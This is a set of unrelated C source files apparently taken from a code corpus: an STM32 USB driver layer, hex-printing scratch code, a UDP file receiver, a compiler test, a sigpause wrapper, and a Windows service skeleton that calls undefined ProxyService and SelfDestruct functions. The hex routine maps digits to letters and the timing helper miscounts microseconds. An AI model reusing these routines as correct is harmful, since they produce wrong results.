USBD_LL_Reset((USBD_HandleTypeDef*)hpcd->pData); } /** * @brief Suspend callback. * When Low power mode is enabled the debug cannot be used (IAR, Keil doesn't support it) * @param hpcd: PCD handle * @retval None */ void HAL_PCD_SuspendCallback(PCD_HandleTypeDef *hpcd) { /* Inform USB library that core enters in suspend Mode */ USBD_LL_Suspend((USBD_HandleTypeDef*)hpcd->pData); __HAL_PCD_GATE_PHYCLOCK(hpcd); /*Enter in STOP mode */ /* USER CODE BEGIN 2 */ if (hpcd->Init.low_power_enable) { /* Set SLEEPDEEP bit and SleepOnExit of Cortex System Control Register */ SCB->SCR |= (uint32_t)((uint32_t)(SCB_SCR_SLEEPDEEP_Msk | SCB_SCR_SLEEPONEXIT_Msk)); } /* USER CODE END 2 */ } /** * @brief Resume callback. When Low power mode is enabled the debug cannot be used (IAR, Keil doesn't support it) * @param hpcd: PCD handle * @retval None */ void HAL_PCD_ResumeCallback(PCD_HandleTypeDef *hpcd) { /* USER CODE BEGIN 3 */ /* USER CODE END 3 */ USBD_LL_Resume((USBD_HandleTypeDef*)hpcd->pData); } /** * @brief ISOOUTIncomplete callback. * @param hpcd: PCD handle * @param epnum: Endpoint Number * @retval None */ void HAL_PCD_ISOOUTIncompleteCallback(PCD_HandleTypeDef *hpcd, uint8_t epnum) { USBD_LL_IsoOUTIncomplete((USBD_HandleTypeDef*)hpcd->pData, epnum); } /** * @brief ISOINIncomplete callback. * @param hpcd: PCD handle * @param epnum: Endpoint Number * @retval None */ void HAL_PCD_ISOINIncompleteCallback(PCD_HandleTypeDef *hpcd, uint8_t epnum) { USBD_LL_IsoINIncomplete((USBD_HandleTypeDef*)hpcd->pData, epnum); } /** * @brief ConnectCallback callback. * @param hpcd: PCD handle * @retval None */ void HAL_PCD_ConnectCallback(PCD_HandleTypeDef *hpcd) { USBD_LL_DevConnected((USBD_HandleTypeDef*)hpcd->pData); } /** * @brief Disconnect callback. * @param hpcd: PCD handle * @retval None */ void HAL_PCD_DisconnectCallback(PCD_HandleTypeDef *hpcd) { USBD_LL_DevDisconnected((USBD_HandleTypeDef*)hpcd->pData); } /******************************************************************************* LL Driver Interface (USB Device Library --> PCD) *******************************************************************************/ /** * @brief Initializes the Low Level portion of the Device driver. * @param pdev: Device handle * @retval USBD Status */ USBD_StatusTypeDef USBD_LL_Init (USBD_HandleTypeDef *pdev) { /* Init USB_IP */ if (pdev->id == DEVICE_FS) { /* Link The driver to the stack */ hpcd_USB_OTG_FS.pData = pdev; pdev->pData = &hpcd_USB_OTG_FS; hpcd_USB_OTG_FS.Instance = USB_OTG_FS; hpcd_USB_OTG_FS.Init.dev_endpoints = 6; hpcd_USB_OTG_FS.Init.speed = PCD_SPEED_FULL; hpcd_USB_OTG_FS.Init.dma_enable = DISABLE; hpcd_USB_OTG_FS.Init.ep0_mps = DEP0CTL_MPS_64; hpcd_USB_OTG_FS.Init.phy_itface = PCD_PHY_EMBEDDED; hpcd_USB_OTG_FS.Init.Sof_enable = DISABLE; hpcd_USB_OTG_FS.Init.low_power_enable = DISABLE; hpcd_USB_OTG_FS.Init.lpm_enable = DISABLE; hpcd_USB_OTG_FS.Init.vbus_sensing_enable = ENABLE; hpcd_USB_OTG_FS.Init.use_dedicated_ep1 = DISABLE; if (HAL_PCD_Init(&hpcd_USB_OTG_FS) != HAL_OK) { Error_Handler(); } HAL_PCDEx_SetRxFiFo(&hpcd_USB_OTG_FS, 0x80); HAL_PCDEx_SetTxFiFo(&hpcd_USB_OTG_FS, 0, 0x40); HAL_PCDEx_SetTxFiFo(&hpcd_USB_OTG_FS, 1, 0x80); } return USBD_OK; } /** * @brief De-Initializes the Low Level portion of the Device driver. * @param pdev: Device handle * @retval USBD Status */ USBD_StatusTypeDef USBD_LL_DeInit (USBD_HandleTypeDef *pdev) { HAL_StatusTypeDef hal_status = HAL_OK; USBD_StatusTypeDef usb_status = USBD_OK; hal_status = HAL_PCD_DeInit(pdev->pData); switch (hal_status) { case HAL_OK : usb_status = USBD_OK; break; case HAL_ERROR : usb_status = USBD_FAIL; break; case HAL_BUSY : usb_status = USBD_BUSY; break; case HAL_TIMEOUT : usb_status = USBD_FAIL; break; default : usb_status = USBD_FAIL; break; } return usb_status; } /** * @brief Starts the Low Level portion of the Device driver. * @param pdev: Device handle * @retval USBD Status */ USBD_StatusTypeDef USBD_LL_Start(USBD_HandleTypeDef *pdev) { HAL_StatusTypeDef hal_status = HAL_OK; USBD_StatusTypeDef usb_status = USBD_OK; hal_status = HAL_PCD_Start(pdev->pData); switch (hal_status) { case HAL_OK : usb_status = USBD_OK; break; case HAL_ERROR : usb_status = USBD_FAIL; break; case HAL_BUSY : usb_status = USBD_BUSY; break; case HAL_TIMEOUT : usb_status = USBD_FAIL; break; default : usb_status = USBD_FAIL; break; } return usb_status; } /** * @brief Stops the Low Level portion of the Device driver. * @param pdev: Device handle * @retval USBD Status */ USBD_StatusTypeDef USBD_LL_Stop (USBD_HandleTypeDef *pdev) { HAL_StatusTypeDef hal_status = HAL_OK; USBD_StatusTypeDef usb_status = USBD_OK; hal_status = HAL_PCD_Stop(pdev->pData); switch (hal_status) { case HAL_OK : usb_status = USBD_OK; break; case HAL_ERROR : usb_status = USBD_FAIL; break; case HAL_BUSY : usb_status = USBD_BUSY; break; case HAL_TIMEOUT : usb_status = USBD_FAIL; break; default : usb_status = USBD_FAIL; break; } return usb_status; } /** * @brief Opens an endpoint of the Low Level Driver. * @param pdev: Device handle * @param ep_addr: Endpoint Number * @param ep_type: Endpoint Type * @param ep_mps: Endpoint Max Packet Size * @retval USBD Status */ USBD_StatusTypeDef USBD_LL_OpenEP (USBD_HandleTypeDef *pdev, uint8_t ep_addr, uint8_t ep_type, uint16_t ep_mps) { HAL_StatusTypeDef hal_status = HAL_OK; USBD_StatusTypeDef usb_status = USBD_OK; hal_status = HAL_PCD_EP_Open(pdev->pData, ep_addr, ep_mps, ep_type); switch (hal_status) { case HAL_OK : usb_status = USBD_OK; break; case HAL_ERROR : usb_status = USBD_FAIL; break; case HAL_BUSY : usb_status = USBD_BUSY; break; case HAL_TIMEOUT : usb_status = USBD_FAIL; break; default : usb_status = USBD_FAIL; break; } return usb_status; } /** * @brief Closes an endpoint of the Low Level Driver. * @param pdev: Device handle * @param ep_addr: Endpoint Number * @retval USBD Status */ USBD_StatusTypeDef USBD_LL_CloseEP (USBD_HandleTypeDef *pdev, uint8_t ep_addr) { HAL_StatusTypeDef hal_status = HAL_OK; USBD_StatusTypeDef usb_status = USBD_OK; hal_status = HAL_PCD_EP_Close(pdev->pData, ep_addr); switch (hal_status) { case HAL_OK : usb_status = USBD_OK; break; case HAL_ERROR : usb_status = USBD_FAIL; break; case HAL_BUSY : usb_status = USBD_BUSY; break; case HAL_TIMEOUT : usb_status = USBD_FAIL; break; default : usb_status = USBD_FAIL; break; } return usb_status; } /** * @brief Flushes an endpoint of the Low Level Driver. * @param pdev: Device handle * @param ep_addr: Endpoint Number * @retval USBD Status */ USBD_StatusTypeDef USBD_LL_FlushEP (USBD_HandleTypeDef *pdev, uint8_t ep_addr) { HAL_StatusTypeDef hal_status = HAL_OK; USBD_StatusTypeDef usb_status = USBD_OK; hal_status = HAL_PCD_EP_Flush(pdev->pData, ep_addr); switch (hal_status) { case HAL_OK : usb_status = USBD_OK; break; case HAL_ERROR : usb_status = USBD_FAIL; break; case HAL_BUSY : usb_status = USBD_BUSY; break; case HAL_TIMEOUT : usb_status = USBD_FAIL; break; default : usb_status = USBD_FAIL; break; } return usb_status; } /** * @brief Sets a Stall condition on an endpoint of the Low Level Driver. * @param pdev: Device handle * @param ep_addr: Endpoint Number * @retval USBD Status */ USBD_StatusTypeDef USBD_LL_StallEP (USBD_HandleTypeDef *pdev, uint8_t ep_addr) { HAL_StatusTypeDef hal_status = HAL_OK; USBD_StatusTypeDef usb_status = USBD_OK; hal_status = HAL_PCD_EP_SetStall(pdev->pData, ep_addr); switch (hal_status) { case HAL_OK : usb_status = USBD_OK; break; case HAL_ERROR : usb_status = USBD_FAIL; break; case HAL_BUSY : usb_status = USBD_BUSY; break; case HAL_TIMEOUT : usb_status = USBD_FAIL; break; default : usb_status = USBD_FAIL; break; } return usb_status; } /** * @brief Clears a Stall condition on an endpoint of the Low Level Driver. * @param pdev: Device handle * @param ep_addr: Endpoint Number * @retval USBD Status */ USBD_StatusTypeDef USBD_LL_ClearStallEP (USBD_HandleTypeDef *pdev, uint8_t ep_addr) { HAL_StatusTypeDef hal_status = HAL_OK; USBD_StatusTypeDef usb_status = USBD_OK; hal_status = HAL_PCD_EP_ClrStall(pdev->pData, ep_addr); switch (hal_status) { case HAL_OK : usb_status = USBD_OK; break; case HAL_ERROR : usb_status = USBD_FAIL; break; case HAL_BUSY : usb_status = USBD_BUSY; break; case HAL_TIMEOUT : usb_status = USBD_FAIL; break; default : usb_status = USBD_FAIL; break; } return usb_status; } /** * @brief Returns Stall condition. * @param pdev: Device handle * @param ep_addr: Endpoint Number * @retval Stall (1: Yes, 0: No) */ uint8_t USBD_LL_IsStallEP (USBD_HandleTypeDef *pdev, uint8_t ep_addr) { PCD_HandleTypeDef *hpcd = (PCD_HandleTypeDef*) pdev->pData; if((ep_addr & 0x80) == 0x80) { return hpcd->IN_ep[ep_addr & 0x7F].is_stall; } else { return hpcd->OUT_ep[ep_addr & 0x7F].is_stall; } } /** * @brief Assigns a USB address to the device. * @param pdev: Device handle * @param ep_addr: Endpoint Number * @retval USBD Status */ USBD_StatusTypeDef USBD_LL_SetUSBAddress (USBD_HandleTypeDef *pdev, uint8_t dev_addr) { HAL_StatusTypeDef hal_status = HAL_OK; USBD_StatusTypeDef usb_status = USBD_OK; hal_status = HAL_PCD_SetAddress(pdev->pData, dev_addr); switch (hal_status) { case HAL_OK : usb_status = USBD_OK; break; case HAL_ERROR : usb_status = USBD_FAIL; break; case HAL_BUSY : usb_status = USBD_BUSY; break; case HAL_TIMEOUT : usb_status = USBD_FAIL; break; default : usb_status = USBD_FAIL; break; } return usb_status; } /** * @brief Transmits data over an endpoint. * @param pdev: Device handle * @param ep_addr: Endpoint Number * @param pbuf: Pointer to data to be sent * @param size: Data size * @retval USBD Status */ USBD_StatusTypeDef USBD_LL_Transmit (USBD_HandleTypeDef *pdev, uint8_t ep_addr, uint8_t *pbuf, uint16_t size) { HAL_StatusTypeDef hal_status = HAL_OK; USBD_StatusTypeDef usb_status = USBD_OK; hal_status = HAL_PCD_EP_Transmit(pdev->pData, ep_addr, pbuf, size); switch (hal_status) { case HAL_OK : usb_status = USBD_OK; break; case HAL_ERROR : usb_status = USBD_FAIL; break; case HAL_BUSY : usb_status = USBD_BUSY; break; case HAL_TIMEOUT : usb_status = USBD_FAIL; break; default : usb_status = USBD_FAIL; break; } return usb_status; } /** * @brief Prepares an endpoint for reception. * @param pdev: Device handle * @param ep_addr: Endpoint Number * @param pbuf: Pointer to data to be received * @param size: Data size * @retval USBD Status */ USBD_StatusTypeDef USBD_LL_PrepareReceive(USBD_HandleTypeDef *pdev, uint8_t ep_addr, uint8_t *pbuf, uint16_t size) { HAL_StatusTypeDef hal_status = HAL_OK; USBD_StatusTypeDef usb_status = USBD_OK; hal_status = HAL_PCD_EP_Receive(pdev->pData, ep_addr, pbuf, size); switch (hal_status) { case HAL_OK : usb_status = USBD_OK; break; case HAL_ERROR : usb_status = USBD_FAIL; break; case HAL_BUSY : usb_status = USBD_BUSY; break; case HAL_TIMEOUT : usb_status = USBD_FAIL; break; default : usb_status = USBD_FAIL; break; } return usb_status; } /** * @brief Returns the last transfered packet size. * @param pdev: Device handle * @param ep_addr: Endpoint Number * @retval Recived Data Size */ uint32_t USBD_LL_GetRxDataSize (USBD_HandleTypeDef *pdev, uint8_t ep_addr) { return HAL_PCD_EP_GetRxCount((PCD_HandleTypeDef*) pdev->pData, ep_addr); } #if (USBD_LPM_ENABLED == 1) /** * @brief HAL_PCDEx_LPM_Callback : Send LPM message to user layer * @param hpcd: PCD handle * @param msg: LPM message * @retval HAL status */ void HAL_PCDEx_LPM_Callback(PCD_HandleTypeDef *hpcd, PCD_LPM_MsgTypeDef msg) { switch ( msg) { case PCD_LPM_L0_ACTIVE: if (hpcd->Init.low_power_enable) { SystemClock_Config(); /* Reset SLEEPDEEP bit of Cortex System Control Register */ SCB->SCR &= (uint32_t)~((uint32_t)(SCB_SCR_SLEEPDEEP_Msk | SCB_SCR_SLEEPONEXIT_Msk)); } __HAL_PCD_UNGATE_PHYCLOCK(hpcd); USBD_LL_Resume(hpcd->pData); break; case PCD_LPM_L1_ACTIVE: __HAL_PCD_GATE_PHYCLOCK(hpcd); USBD_LL_Suspend(hpcd->pData); /*Enter in STOP mode */ if (hpcd->Init.low_power_enable) { /* Set SLEEPDEEP bit and SleepOnExit of Cortex System Control Register */ SCB->SCR |= (uint32_t)((uint32_t)(SCB_SCR_SLEEPDEEP_Msk | SCB_SCR_SLEEPONEXIT_Msk)); } break; } } #endif /** * @brief Delays routine for the USB Device Library. * @param Delay: Delay in ms * @retval None */ void USBD_LL_Delay (uint32_t Delay) { HAL_Delay(Delay); } /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ #endif
the_stack_data/72012816.c
/* ; Scratch work. ; Let's consider printing a single nibble. We must convert this nibble to ASCII. If the nibble is [0-9] then char = nibble + โ€˜0โ€™ ; otherwise if the nibble is [A-F] == [10-15] nibble = nibble - 10 ; or possibly nibble = nibble + -10 char = nibble + โ€˜aโ€™ ;;; ; โ€˜0x0000' ; 0 5 ; character offset ;;; ; Getting 1 nibble at a time from dx nibble = dx & 0x000f ; we can use dx if we pusha/popa. dx = dx >> 4 ;;; */ static char s[] = "0x0000"; void print_nibble(unsigned char n, int i) { unsigned char c; if (n >= 0 && n < 10) c = n + 'a'; else if (n >= 10 && n < 16) c = n - 10 + 'a'; else return; // n out of range // putchar(c); s[i] = c; } void print_hex(unsigned short d) { unsigned short t; int i = 5; while (d != 0) { t = d & 0x000f; print_nibble((char) t, i); d = d >> 4; i = i - 1; } }
the_stack_data/231393024.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <time.h> #include <sys/socket.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/uio.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <strings.h> #define BUFFERT 512 int duration(struct timeval *start, struct timeval *stop, struct timeval *delta); int create_server_socket(int port); struct sockaddr_in sock_serv, clt; int main(int argc, char **argv) { int fd, sfd; char buf[BUFFERT]; off_t count = 0, n; char filename[256]; unsigned int l = sizeof(struct sockaddr_in); time_t intps; struct tm *tmi; if (argc != 2) { printf("Error usage : %s <port_serv>\n", argv[0]); return EXIT_FAILURE; } sfd = create_server_socket(atoi(argv[1])); intps = time(NULL); tmi = localtime(&intps); bzero(filename, 256); sprintf(filename, "clt.%d.%d.%d.%d.%d.%d", tmi->tm_mday, tmi->tm_mon + 1, 1900 + tmi->tm_year, tmi->tm_hour, tmi->tm_min, tmi->tm_sec); printf("Creating the output file : %s\n", filename); if ((fd = open(filename, O_CREAT | O_WRONLY | O_TRUNC, 0600)) == -1) { perror("open fail"); return EXIT_FAILURE; } bzero(&buf, BUFFERT); n = recvfrom(sfd, &buf, BUFFERT, 0, (struct sockaddr *)&clt, &l); while (n) { printf("%lld of data received \n", n); if (n == -1) { perror("read fail"); return EXIT_FAILURE; } count += n; write(fd, buf, n); bzero(buf, BUFFERT); n = recvfrom(sfd, &buf, BUFFERT, 0, (struct sockaddr *)&clt, &l); } printf("Number of bytes transferred : %lld \n", count); close(sfd); close(fd); return EXIT_SUCCESS; } int duration(struct timeval *start, struct timeval *stop, struct timeval *delta) { suseconds_t microstart, microstop, microdelta; microstart = (suseconds_t)(100000 * (start->tv_sec)) + start->tv_usec; microstop = (suseconds_t)(100000 * (stop->tv_sec)) + stop->tv_usec; microdelta = microstop - microstart; delta->tv_usec = microdelta % 100000; delta->tv_sec = (time_t)(microdelta / 100000); if ((*delta).tv_sec < 0 || (*delta).tv_usec < 0) return -1; else return 0; } int create_server_socket(int port) { int l; int sfd; sfd = socket(AF_INET, SOCK_DGRAM, 0); if (sfd == -1) { perror("socket fail"); return EXIT_FAILURE; } l = sizeof(struct sockaddr_in); bzero(&sock_serv, l); sock_serv.sin_family = AF_INET; sock_serv.sin_port = htons(port); sock_serv.sin_addr.s_addr = htonl(INADDR_ANY); if (bind(sfd, (struct sockaddr *)&sock_serv, l) == -1) { perror("bind fail"); return EXIT_FAILURE; } return sfd; }
the_stack_data/42909.c
/* { dg-do run } */ extern void abort (void); union u { int i; _Bool b; }; void f(union u * vp, union u v) { *vp = v; } int main() { union u v; union u v1; union u v2; v.i = 10; f(&v1, v); v.b = 0; f(&v2, v); if (v2.b != 0) abort (); return 0; }
the_stack_data/84881.c
#include <signal.h> int sigpause(int sig) { sigset_t mask; sigprocmask(0, 0, &mask); sigdelset(&mask, sig); return sigsuspend(&mask); }
the_stack_data/104234.c
/*--------------------------------------------------------------------------- THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A PARTICULAR PURPOSE. Copyright (C) 1993 - 2000. Microsoft Corporation. All rights reserved. MODULE: service.c PURPOSE: Implements functions required by all Windows NT services FUNCTIONS: main(int argc, char **argv); service_ctrl(DWORD dwCtrlCode); service_main(DWORD dwArgc, LPTSTR *lpszArgv); CmdInstallService(); CmdRemoveService(); CmdDebugService(int argc, char **argv); ControlHandler ( DWORD dwCtrlType ); GetLastErrorText( LPTSTR lpszBuf, DWORD dwSize ); ---------------------------------------------------------------------------*/ #ifdef _WIN32 // Just to shut up any code-checkers on linux side #include <windows.h> #include <stdio.h> #include <stdlib.h> #include <process.h> #include <tchar.h> #include "service.h" extern VOID ServiceStart(DWORD dwArgc, LPTSTR *lpszArgv); extern VOID ServiceStop(); extern VOID ProxyService(int pid,const char* in,const char* out,const char* err); // internal variables SERVICE_STATUS ssStatus; // current status of the service SERVICE_STATUS_HANDLE sshStatusHandle; DWORD dwErr = 0; BOOL bDebug = FALSE; TCHAR szErr[256]; // internal function prototypes VOID WINAPI service_ctrl(DWORD dwCtrlCode); VOID WINAPI service_main(DWORD dwArgc, LPTSTR *lpszArgv); VOID CmdInstallService(); VOID CmdRemoveService(); VOID CmdDebugService(int argc, char **argv); BOOL WINAPI ControlHandler ( DWORD dwCtrlType ); LPTSTR GetLastErrorText( LPTSTR lpszBuf, DWORD dwSize ); // // FUNCTION: main // // PURPOSE: entrypoint for service // // PARAMETERS: // argc - number of command line arguments // argv - array of command line arguments // // RETURN VALUE: // none // // COMMENTS: // main() either performs the command line task, or // call StartServiceCtrlDispatcher to register the // main service thread. When the this call returns, // the service has stopped, so exit. // void __cdecl main(int argc, char **argv) { SERVICE_TABLE_ENTRY dispatchTable[] = { { TEXT(SERVICENAME), (LPSERVICE_MAIN_FUNCTION)service_main}, { NULL, NULL} }; if ( (argc > 1) && ((*argv[1] == '-') || (*argv[1] == '/')) ) { if ( _stricmp( "install", argv[1]+1 ) == 0 ) { CmdInstallService(); } else if ( _stricmp( "remove", argv[1]+1 ) == 0 ) { CmdRemoveService(); } else if ( _stricmp( "debug", argv[1]+1 ) == 0 ) { bDebug = TRUE; CmdDebugService(argc, argv); } else if ( _stricmp( "proxy", argv[1]+1 ) == 0 ) { ProxyService(atoi(argv[2]),argv[3],argv[4],argv[5]); } else { goto dispatch; } exit(0); } // if it doesn't match any of the above parameters // the service control manager may be starting the service // so we must call StartServiceCtrlDispatcher dispatch: // this is just to be friendly printf( "%s -install to install the service\n", argv[0] ); printf( "%s -remove to remove the service\n", argv[0] ); printf( "%s -debug <params> to run as a console app for debugging\n", argv[0] ); printf( "\nStartServiceCtrlDispatcher being called.\n" ); printf( "This may take several seconds. Please wait.\n" ); if (!StartServiceCtrlDispatcher(dispatchTable)) AddToMessageLog(TEXT("StartServiceCtrlDispatcher failed.")); SelfDestruct(); } // // FUNCTION: service_main // // PURPOSE: To perform actual initialization of the service // // PARAMETERS: // dwArgc - number of command line arguments // lpszArgv - array of command line arguments // // RETURN VALUE: // none // // COMMENTS: // This routine performs the service initialization and then calls // the user defined ServiceStart() routine to perform majority // of the work. // void WINAPI service_main(DWORD dwArgc, LPTSTR *lpszArgv) { // register our service control handler: // sshStatusHandle = RegisterServiceCtrlHandler( TEXT(SERVICENAME), service_ctrl); if (!sshStatusHandle) goto cleanup; // SERVICE_STATUS members that don't change in example // ssStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; ssStatus.dwServiceSpecificExitCode = 0; // report the status to the service control manager. // if (!ReportStatusToSCMgr( SERVICE_START_PENDING, // service state NO_ERROR, // exit code 3000)) // wait hint goto cleanup; ServiceStart( dwArgc, lpszArgv ); cleanup: // try to report the stopped status to the service control manager. // if (sshStatusHandle) (VOID)ReportStatusToSCMgr( SERVICE_STOPPED, dwErr, 0); return; } // // FUNCTION: service_ctrl // // PURPOSE: This function is called by the SCM whenever // ControlService() is called on this service. // // PARAMETERS: // dwCtrlCode - type of control requested // // RETURN VALUE: // none // // COMMENTS: // VOID WINAPI service_ctrl(DWORD dwCtrlCode) { // Handle the requested control code. // switch (dwCtrlCode) { // Stop the service. // // SERVICE_STOP_PENDING should be reported before // setting the Stop Event - hServerStopEvent - in // ServiceStop(). This avoids a race condition // which may result in a 1053 - The Service did not respond... // error. case SERVICE_CONTROL_STOP: ReportStatusToSCMgr(SERVICE_STOP_PENDING, NO_ERROR, 0); ServiceStop(); return; // Update the service status. // case SERVICE_CONTROL_INTERROGATE: break; // invalid control code // default: break; } ReportStatusToSCMgr(ssStatus.dwCurrentState, NO_ERROR, 0); } // // FUNCTION: ReportStatusToSCMgr() // // PURPOSE: Sets the current status of the service and // reports it to the Service Control Manager // // PARAMETERS: // dwCurrentState - the state of the service // dwWin32ExitCode - error code to report // dwWaitHint - worst case estimate to next checkpoint // // RETURN VALUE: // TRUE - success // FALSE - failure // // COMMENTS: // BOOL ReportStatusToSCMgr(DWORD dwCurrentState, DWORD dwWin32ExitCode, DWORD dwWaitHint) { static DWORD dwCheckPoint = 1; BOOL fResult = TRUE; if ( !bDebug ) // when debugging we don't report to the SCM { if (dwCurrentState == SERVICE_START_PENDING) ssStatus.dwControlsAccepted = 0; else ssStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; ssStatus.dwCurrentState = dwCurrentState; ssStatus.dwWin32ExitCode = dwWin32ExitCode; ssStatus.dwWaitHint = dwWaitHint; if ( ( dwCurrentState == SERVICE_RUNNING ) || ( dwCurrentState == SERVICE_STOPPED ) ) ssStatus.dwCheckPoint = 0; else ssStatus.dwCheckPoint = dwCheckPoint++; // Report the status of the service to the service control manager. // if (!(fResult = SetServiceStatus( sshStatusHandle, &ssStatus))) { AddToMessageLog(TEXT("SetServiceStatus")); } } return fResult; } // // FUNCTION: AddToMessageLog(LPTSTR lpszMsg) // // PURPOSE: Allows any thread to log an error message // // PARAMETERS: // lpszMsg - text for message // // RETURN VALUE: // none // // COMMENTS: // VOID AddToMessageLog(LPTSTR lpszMsg) { TCHAR szMsg[256]; HANDLE hEventSource; LPTSTR lpszStrings[2]; if ( !bDebug ) { dwErr = GetLastError(); // Use event logging to log the error. // hEventSource = RegisterEventSource(NULL, TEXT(SERVICENAME)); _stprintf(szMsg, TEXT("%s error: %d"), TEXT(SERVICENAME), dwErr); lpszStrings[0] = szMsg; lpszStrings[1] = lpszMsg; if (hEventSource != NULL) { ReportEvent(hEventSource, // handle of event source EVENTLOG_ERROR_TYPE, // event type 0, // event category 0, // event ID NULL, // current user's SID 2, // strings in lpszStrings 0, // no bytes of raw data lpszStrings, // array of error strings NULL); // no raw data (VOID) DeregisterEventSource(hEventSource); } } } /////////////////////////////////////////////////////////////////// // // The following code handles service installation and removal // // // FUNCTION: CmdInstallService() // // PURPOSE: Installs the service // // PARAMETERS: // none // // RETURN VALUE: // none // // COMMENTS: // void CmdInstallService() { SC_HANDLE schService; SC_HANDLE schSCManager; TCHAR szPath[512]; if ( GetModuleFileName( NULL, szPath, 512 ) == 0 ) { _tprintf(TEXT("Unable to install %s - %s\n"), TEXT(SERVICEDISPLAYNAME), GetLastErrorText(szErr, 256)); return; } schSCManager = OpenSCManager( NULL, // machine (NULL == local) NULL, // database (NULL == default) SC_MANAGER_ALL_ACCESS // access required ); if ( schSCManager ) { schService = CreateService( schSCManager, // SCManager database TEXT(SERVICENAME), // name of service TEXT(SERVICEDISPLAYNAME), // name to display SERVICE_ALL_ACCESS, // desired access SERVICE_WIN32_OWN_PROCESS, // service type SERVICE_DEMAND_START, // start type SERVICE_ERROR_NORMAL, // error control type szPath, // service's binary NULL, // no load ordering group NULL, // no tag identifier TEXT(DEPENDENCIES), // dependencies NULL, // LocalSystem account NULL); // no password if ( schService ) { _tprintf(TEXT("%s installed.\n"), TEXT(SERVICEDISPLAYNAME) ); CloseServiceHandle(schService); } else { _tprintf(TEXT("CreateService failed - %s\n"), GetLastErrorText(szErr, 256)); } CloseServiceHandle(schSCManager); } else _tprintf(TEXT("OpenSCManager failed - %s\n"), GetLastErrorText(szErr,256)); } // // FUNCTION: CmdRemoveService() // // PURPOSE: Stops and removes the service // // PARAMETERS: // none // // RETURN VALUE: // none // // COMMENTS: // void CmdRemoveService() { SC_HANDLE schService; SC_HANDLE schSCManager; schSCManager = OpenSCManager( NULL, // machine (NULL == local) NULL, // database (NULL == default) SC_MANAGER_ALL_ACCESS // access required ); if ( schSCManager ) { schService = OpenService(schSCManager, TEXT(SERVICENAME), SERVICE_ALL_ACCESS); if (schService) { // try to stop the service if ( ControlService( schService, SERVICE_CONTROL_STOP, &ssStatus ) ) { _tprintf(TEXT("Stopping %s."), TEXT(SERVICEDISPLAYNAME)); Sleep( 1000 ); while ( QueryServiceStatus( schService, &ssStatus ) ) { if ( ssStatus.dwCurrentState == SERVICE_STOP_PENDING ) { _tprintf(TEXT(".")); Sleep( 1000 ); } else break; } if ( ssStatus.dwCurrentState == SERVICE_STOPPED ) _tprintf(TEXT("\n%s stopped.\n"), TEXT(SERVICEDISPLAYNAME) ); else _tprintf(TEXT("\n%s failed to stop.\n"), TEXT(SERVICEDISPLAYNAME) ); } // now remove the service if ( DeleteService(schService) ) _tprintf(TEXT("%s removed.\n"), TEXT(SERVICEDISPLAYNAME) ); else _tprintf(TEXT("DeleteService failed - %s\n"), GetLastErrorText(szErr,256)); CloseServiceHandle(schService); } else _tprintf(TEXT("OpenService failed - %s\n"), GetLastErrorText(szErr,256)); CloseServiceHandle(schSCManager); } else _tprintf(TEXT("OpenSCManager failed - %s\n"), GetLastErrorText(szErr,256)); } /////////////////////////////////////////////////////////////////// // // The following code is for running the service as a console app // // // FUNCTION: CmdDebugService(int argc, char ** argv) // // PURPOSE: Runs the service as a console application // // PARAMETERS: // argc - number of command line arguments // argv - array of command line arguments // // RETURN VALUE: // none // // COMMENTS: // void CmdDebugService(int argc, char ** argv) { DWORD dwArgc; LPTSTR *lpszArgv; #ifdef UNICODE lpszArgv = CommandLineToArgvW(GetCommandLineW(), &(dwArgc) ); #else dwArgc = (DWORD) argc; lpszArgv = argv; #endif _tprintf(TEXT("Debugging %s.\n"), TEXT(SERVICEDISPLAYNAME)); SetConsoleCtrlHandler( ControlHandler, TRUE ); ServiceStart( dwArgc, lpszArgv ); #ifdef UNICODE // Must free memory allocated for arguments GlobalFree(lpszArgv); #endif // UNICODE } // // FUNCTION: ControlHandler ( DWORD dwCtrlType ) // // PURPOSE: Handled console control events // // PARAMETERS: // dwCtrlType - type of control event // // RETURN VALUE: // True - handled // False - unhandled // // COMMENTS: // BOOL WINAPI ControlHandler ( DWORD dwCtrlType ) { switch ( dwCtrlType ) { case CTRL_BREAK_EVENT: // use Ctrl+C or Ctrl+Break to simulate case CTRL_C_EVENT: // SERVICE_CONTROL_STOP in debug mode _tprintf(TEXT("Stopping %s.\n"), TEXT(SERVICEDISPLAYNAME)); ServiceStop(); return TRUE; break; } return FALSE; } // // FUNCTION: GetLastErrorText // // PURPOSE: copies error message text to string // // PARAMETERS: // lpszBuf - destination buffer // dwSize - size of buffer // // RETURN VALUE: // destination buffer // // COMMENTS: // LPTSTR GetLastErrorText( LPTSTR lpszBuf, DWORD dwSize ) { DWORD dwRet; LPTSTR lpszTemp = NULL; dwRet = FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM |FORMAT_MESSAGE_ARGUMENT_ARRAY, NULL, GetLastError(), LANG_NEUTRAL, (LPTSTR)&lpszTemp, 0, NULL ); // supplied buffer is not long enough if ( !dwRet || ( (long)dwSize < (long)dwRet+14 ) ) lpszBuf[0] = TEXT('\0'); else { lpszTemp[lstrlen(lpszTemp)-2] = TEXT('\0'); //remove cr and newline character _stprintf( lpszBuf, TEXT("%s (0x%x)"), lpszTemp, GetLastError() ); } if ( lpszTemp ) LocalFree((HLOCAL) lpszTemp ); return lpszBuf; } #endif
the_stack_data/192329452.c
